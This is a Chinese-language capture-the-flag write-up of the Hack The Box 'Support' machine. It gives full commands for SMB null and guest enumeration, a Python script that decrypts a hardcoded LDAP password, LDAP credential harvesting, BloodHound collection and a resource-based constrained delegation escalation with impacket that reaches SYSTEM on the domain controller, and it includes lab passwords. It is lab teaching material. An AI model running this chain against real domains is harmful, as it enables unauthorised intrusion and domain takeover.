HTB support

发布于: 2026-07-25 22:14

信息收集

靶机地址:10.129.65.231

端口扫描

nmap 10.129.65.231 -p-

开放了53、88、135、139、389、445、3268、3269、5985端口,域控特征

smb枚举

没有切入点,测试smb服务

尝试空会话

nxc smb 10.129.65.231 -u '' -p ''

允许空会话登录

原理:用空用户名 + 空密码去连接 SMB。在很多 AD 环境里,SMB 服务端会允许这种连接完成认证握手(返回 [+] ...\:),但后续能做的事非常有限——通常只能看到共享列表,且大部分共享是 READ 权限受限或完全看不到。

尝试 Guest 账户匿名登录

nxc smb 10.129.65.231 -u 'guest' -p ''

允许 Guest 账户匿名登录

原理:Guest 是 Windows 内置账户,默认空密码。很多环境里 Guest 被禁用或限制,但也有不少环境(尤其是故意留口的靶机)会允许 Guest 登录 SMB 并枚举部分信息。

Net程序反编译

分别枚举共享

nxc smb 10.129.65.231 -u '' -p '' --shares
nxc smb 10.129.65.231 -u 'guest' -p '' --shares

发现自定义共享 support-tools 对 Guest 有 READ 权限,疑似运维工具目录,优先排查。

其中,7-Zip、Notepad++、PuTTY、Sysinternals、Wireshark是通用工具,UserInfo.exe 名字和业务逻辑相关,通过file命令得知是.Net程序,拉到windows环境下用dnSpy反编译

.Net程序反编译工具 https://github.com/dnSpy/dnSpy

在LdapQuery类中收集到以下信息:

  • 调用Protected.getPassword()方法获取用户密码
  • 以域用户 support\ldap 身份连接 LDAP://support.htb

在关键类中发现用户密码加解密逻辑

  • 从硬编码字符串 enc_password 里取出 Base64 编码的密文
  • 用硬编码的 XOR key("armando")逐字节异或解密,再额外异或一个固定值 223(即 0xDF)
  • 返回解密后的明文字符串

使用Python脚本解密

import base64

b64 = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
key = b"armando"
data = base64.b64decode(b64)
pwd = "".join(chr(data[i] ^ key[i % len(key)] ^ 223) for i in range(len(data)))
print(pwd)

尝试通过smb验证 ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

nxc smb 10.129.65.231 -u 'ldap' -p <ldap password>

ldap枚举到凭证泄露

使用ldap用户测试 LDAP 服务,成功返回一大坨信息,丢给AI审计

ldapsearch -H ldap://10.129.65.231 -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b 'DC=support,DC=htb' '(objectClass=*)'

其中,参数 -b 是 baseDN(Base Distinguished Name,基准可分辨名称)​ 的缩写。从 support.htb 这个域的根节点开始搜索,返回它下面的所有用户、组、计算机、OU

AD 的目录结构

DC=htb(根域)
 └── DC=support(support.htb 域)
      ├── CN=Users
      │    ├── CN=Administrator
      │    ├── CN=ldap
      │    ├── CN=support
      │    └── ...
      ├── CN=Computers
      │    └── CN=DC
      ├── CN=Builtin
      │    └── CN=Administrators
      └── OU=...

(objectClass=*): LDAP 搜索过滤器,可以过滤出所有对象,包括用户、组、计算机、OU 等

ldap返回结果丢给AI分析:用户 support 的属性 info 字段存储了明文密码:Ironside47pleasure40Watchful

smb成功验证凭证 support:Ironside47pleasure40Watchful

nxc smb 10.129.65.231 -u 'support' -p 'Ironside47pleasure40Watchful'

ldap协议获取support用户所有信息

ldapsearch -H ldap://10.129.65.231 -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b 'DC=support,DC=htb' '(sAMAccountName=support)' '*' '+'

support 用户属于 remote management users 组及Shared Support Accounts组,前者可以允许support用户通过winrm远程管理,后者属于自定义组,可能是运维人员共享账户组,后续可以尝试提权。

权限测绘(BloodHound)

重启了一次靶机,忽略ip变动

添加域名解析

echo "10.129.66.137 support.htb dc.support.htb" >> /etc/hosts

以 support 用户身份进行 BloodHound 枚举

bloodhound-python -u support -p 'Ironside47pleasure40Watchful' -d support.htb -ns 10.129.66.137 -dc dc.support.htb -c All --zip

web面板导入枚举信息压缩包,关于bloodhound的使用自行查阅

SHARED SUPPORT ACCOUNTS 组对 DC.SUPPORT.HTB 拥有 GenericAll 权限,意味着对该机器拥有完全控制权。

RBCD域提权

  • shared support accounts 组对目标计算机对象有写权限​ (GenericAll on DC$)
  • 域用户默认创建最多 10 个机器账户

在具备上述两个条件的前提下,利用 RBCD(Resource-Based Constrained Delegation,基于资源的约束委派)即可实现对域控的提权

创建机器用户,addcomputer完成后会自动加入域

# 1. 创建机器账户
impacket-addcomputer 'support.htb/support:Ironside47pleasure40Watchful' -dc-ip 10.129.66.137 -computer-name 'ATTACK2$' -computer-pass 'Attack123!'

写入RBCD权限,msDS-AllowedToActOnBehalfOfOtherIdentity 是 RBCD 的核心属性,写入后 DC将信任ATTACK2 用户可以冒充任意用户向其申请服务票据

# 2. 写 RBCD(对 DC$ 有 GenericAll 权限)
impacket-rbcd 'support.htb/support:Ironside47pleasure40Watchful' -dc-ip 10.129.66.137 -delegate-from 'ATTACK2$' -delegate-to 'DC$' -action 'write'

ATTACK2$ 用户通过 Kerberos 合法协议,伪造出 Administrator 访问 CIFS/DC.support.htb 的 ST 服务票据

# 3. 拿 Administrator 的 CIFS 票据
impacket-getST 'support.htb/ATTACK2$:Attack123!' -dc-ip 10.129.66.137 -spn 'cifs/DC.support.htb' -impersonate 'Administrator'

impacket-getST 内部细节:

  • S4U2Self:ATTACK2以自身身份向KDC申请一张“代表Administrator访问ATTACK2 自身”的票据(TGS),用于证明“我(ATTACK2$)有权代表 Administrator”
  • S4U2Proxy:ATTACK2$ 持上述 TGS,向 KDC 申请“代表 Administrator 访问 cifs/DC.support.htb”的服务票据(ST)

由于 DC的RBCD属性已信任ATTACK2,KDC 签发出 ST

impacket-smbexec 以 Administrator 身份建立 SMB 会话

# 4. 用票据拿 SYSTEM
export KRB5CCNAME=Administrator@cifs_DC.support.htb@SUPPORT.HTB.ccache
impacket-smbexec -dc-ip 10.129.66.137 -no-pass -k 'support.htb/Administrator@DC.support.htb'

在域控上,Administrator 账户等价于 NT AUTHORITY\SYSTEM,因此通过 Kerberos 认证(-k)使用 Administrator 的 CIFS 票据建立的 SMB 会话,最终获取到的是 SYSTEM 权限